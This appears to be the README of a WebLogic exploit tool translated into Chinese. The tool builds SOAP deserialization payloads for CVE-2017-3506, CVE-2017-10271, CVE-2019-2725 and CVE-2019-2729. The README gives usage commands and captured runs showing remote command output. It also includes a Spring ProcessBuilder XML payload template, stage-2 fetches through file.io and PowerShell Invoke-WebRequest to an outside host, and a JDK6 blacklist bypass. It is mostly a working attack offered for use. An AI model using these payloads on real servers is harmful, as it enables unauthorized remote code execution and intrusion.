
WebLogic Insecure Deserialization - CVE-2019-2725 payload builder & exploit
WebLogic通用利用工具 - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 载荷构建器与利用
$ python3 weblogic_exploit.py -h
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
[-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
target
positional arguments:
target 目标服务器
optional arguments:
-h, --help 显示此帮助信息并退出
-pl PAYLOAD, --payload PAYLOAD 使用可用载荷之一:(默认:fs_xml_app_ctx)
- process_builder(CMD - 所有版本)
- unit_of_work_change_set(SERIAL - 10.x版本)
- event_data(CMD - 12.x版本)
- fs_xml_app_ctx(URL - 所有版本)
-ep ENDPOINT, --endpoint ENDPOINT 使用已配置的端点之一:(默认:自动)
- wls_wsat(CMD输出)
- _async(盲执行)
-c CMD, --cmd CMD 要执行的命令。(默认:whoami)
-j, --jdk6 启用CVE-2019-2729(绕过'class')。声明:仅在JDK 1.6中有效!
-u URL, --url URL 用于获取阶段2的URL。与'URL'载荷一起使用。(默认:无)
-y YSOSERIAL, --ysoserial YSOSERIAL 自定义YSOSERIAL载荷文件。与'SERIAL'载荷一起使用。(默认:无)
-tr TERMINAL, --terminal TERMINAL 使用可用终端之一:cmd, bash, powershell, none(默认:bash)
-px PROXY, --proxy PROXY 配置代理,格式为http://127.0.0.1:8080/(默认:无)
此脚本将生成有效的WebLogic SOAP载荷,以利用此Web服务器上的不同CVE。
使用SERIAL载荷时,可以传入命令(动态生成ysoserial载荷),或手动生成ysoserial载荷并通过-y参数传递给脚本。
要动态生成ysoserial载荷,您应下载https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar,并将其放置在此脚本的同一目录中。
payload unit_of_work_change_set 已知仅在WebLogic 10.x版本中有效。示例:
pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] YSOSERIAL载荷大小:3182
[+] WebLogic SOAP载荷构建成功...
[+] 正在触发利用...
[+] 炸弹已送达... 服务器响应:
HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:39:52 GMT
Content-Length: 0
pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] YSOSERIAL载荷大小:3027
[+] WebLogic SOAP载荷构建成功...
[+] 正在触发利用...
[+] 炸弹已送达... 服务器响应:
HTTP/1.1 202
Connection: close
Date: Wed, 28 Aug 2019 01:46:33 GMT
Content-Length: 0
使用URL载荷(FileSystemXmlApplicationContext)时,您可以托管自己的XML并通过-u参数传递,或者让利用工具为您生成一个临时载荷文件并托管在https://file.io!此载荷将在利用阶段生成,并在服务器远程获取后自动删除。如果您希望托管自己的载荷,请使用以下模板:
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
</list>
</constructor-arg>
</bean>
</beans>
此载荷已知在所有版本的WebLogic中有效。此载荷的缺点是需要目标服务器具有出站连接以获取阶段2载荷。以下是使用此载荷的示例:
$ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[-] 未提供阶段2 URL... 正在存储...
[+] 阶段2载荷成功存储在:https://file.io/IbCIbg
[+] WebLogic SOAP载荷构建成功...
[+] 正在触发利用...
[+] 炸弹已送达... 服务器响应:
HTTP/1.1 202
Connection: close
Date: Tue, 27 Aug 2019 07:42:24 GMT
Content-Length: 0
最后但同样重要的是,process_builder载荷是最常见的利用载荷(metasploit模块),适用于未修补class=黑名单的WebLogic版本。此载荷经过定制,可将命令输出打印在请求的响应体中。使用示例:
pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] WebLogic SOAP载荷构建成功...
[+] 正在触发利用...
[+] 炸弹已送达... 服务器响应:
HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 12:30:26 GMT
Transfer-Encoding: chunked
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
为event_data载荷添加支持,可在响应体中输出命令结果。使用示例:
$ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001
========================================================================
| WebLogic Universal Exploit |
| CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 |
| by pimps |
========================================================================
[+] WebLogic SOAP载荷构建成功...
[+] 正在触发利用...
[+] 炸弹已送达... 服务器响应:
HTTP/1.1 200
Connection: close
Date: Thu, 29 Aug 2019 07:37:26 GMT
Transfer-Encoding: chunked
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
致谢:使用了此GitHub仓库中公布的载荷的一部分,用于在响应体中输出命令结果(https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py)。感谢 @lufeirider 的分享。
添加了对CVE-2019-2729的支持。这是一种绕过方式,将 <class> </class> 替换为 <array method="forName"> </array>。此绕过仅适用于JDK 1.6,因为该JDK版本在通过XMLDecoder解析XML数据时存在差异。
命令参数 -j/--jdk6 已添加到利用脚本中。